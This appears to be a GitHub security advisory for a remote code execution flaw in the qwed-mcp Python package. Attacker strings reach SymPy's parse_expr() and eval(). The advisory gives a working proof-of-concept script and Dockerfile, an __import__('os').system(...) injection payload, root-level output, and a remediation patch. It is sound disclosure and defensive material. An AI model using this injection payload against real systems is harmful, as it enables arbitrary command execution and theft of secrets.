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qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input

Critical severity GitHub Reviewed Published Jun 13, 2026 in QWED-AI/qwed-mcp • Updated Aug 25, 2026

Package

pip qwed-mcp (pip)

Affected versions

< 0.2.1

Patched versions

0.2.1

Description

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)
# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

  1. Sourcemath_engine.py:13-16: external caller supplies expression and claimed_result.
  2. Propagationmath_engine.py:50-54: expression substituted and forwarded to parse_expr().
  3. Propagationmath_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
  4. Sinksympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict global_dict before every parse_expr() call:

--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
 import logging
+import ast
 from typing import Optional

+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+    ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+    tree = ast.parse(expr.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if not isinstance(node, ALLOWED_AST):
+            raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+            raise ValueError(f"Unsupported symbol: {node.id}")
+        if isinstance(node, ast.Call):
+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+                raise ValueError("Only approved math functions are allowed")
+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+            raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
-            expr = parse_expr(
+            _validate_math_syntax(expression)
+            expr = parse_expr(
                 expression.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )
-            claimed = parse_expr(
+            _validate_math_syntax(claimed_result)
+            claimed = parse_expr(
                 claimed_result.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )

Impact

Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

  • Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
  • Read, write, or delete files accessible to the process.
  • Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
  • Pivot to internal services reachable from the host.

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

LABEL vuln="VULN-001" \
      title="Unsafe SymPy parse_expr() RCE" \
      cwe="CWE-94" \
      target="QWED-AI/qwed-mcp@0.2.0"

WORKDIR /app

# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src

# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"

# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py

# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.

Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
    __import__('os').system('<shell command>')

The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.

Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker  is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""

import os
import sys


MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"


def run_poc() -> bool:
    """Run the PoC; return True on confirmed exploitation, False otherwise."""
    print("=" * 60)
    print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
    print("=" * 60)

    # --- Step 1: import the vulnerable function ---
    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
    # We load math_engine.py directly via importlib to exercise the vulnerable
    # module in isolation, exactly as an attacker who calls the library API would.
    print("[*] Importing vulnerable function via importlib (direct module load) ...")
    import importlib.util
    import sys as _sys

    _module_path = "/app/src/qwed_mcp/engines/math_engine.py"
    try:
        _spec = importlib.util.spec_from_file_location(
            "qwed_mcp.engines.math_engine", _module_path
        )
        _mod = importlib.util.module_from_spec(_spec)
        _sys.modules["qwed_mcp.engines.math_engine"] = _mod
        _spec.loader.exec_module(_mod)
        verify_math_expression = _mod.verify_math_expression
    except Exception as exc:
        print(f"[-] Import failed: {exc}")
        return False
    print(f"[+] verify_math_expression loaded from {_module_path}")

    # --- Step 2: craft the RCE payload ---
    # The payload is injected as the `expression` argument.
    # Shell commands:
    #   id         — prints current user/uid/gid (confirms arbitrary execution)
    #   hostname   — prints container hostname (confirms in-container execution)
    #   touch      — creates a marker file (machine-checkable evidence)
    shell_cmd = (
        f"id > {OUTPUT_FILE} && "
        f"hostname >> {OUTPUT_FILE} && "
        f"touch {MARKER_FILE}"
    )
    payload = f"__import__('os').system('{shell_cmd}')"
    print(f"\n[*] Injection payload (expression argument):\n    {payload}\n")

    # --- Step 3: call the vulnerable function ---
    print("[*] Calling verify_math_expression(payload, '0') ...")
    result = verify_math_expression(payload, "0")
    print(f"[*] Return value: {result}\n")

    # --- Step 4: verify exploitation evidence ---
    marker_exists = os.path.exists(MARKER_FILE)
    output_exists = os.path.exists(OUTPUT_FILE)

    if marker_exists and output_exists:
        with open(OUTPUT_FILE) as fh:
            rce_output = fh.read().strip()
        print("[+] *** EXPLOIT SUCCESSFUL ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        print(f"[+] RCE command output  :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
        return True

    # Partial evidence (marker only, no output, or vice-versa) still counts.
    if marker_exists:
        print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        return True

    print("[-] EXPLOIT FAILED — marker file not found")
    print(f"[-] Expected: {MARKER_FILE}")
    return False


def main() -> None:
    success = run_poc()
    if success:
        print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
        sys.exit(0)
    else:
        print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
        sys.exit(1)


if __name__ == "__main__":
    main()

References

@rahuldass19 rahuldass19 published to QWED-AI/qwed-mcp Jun 13, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(34th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-55546

GHSA ID

GHSA-mw6r-2hvm-4rp2

Source code

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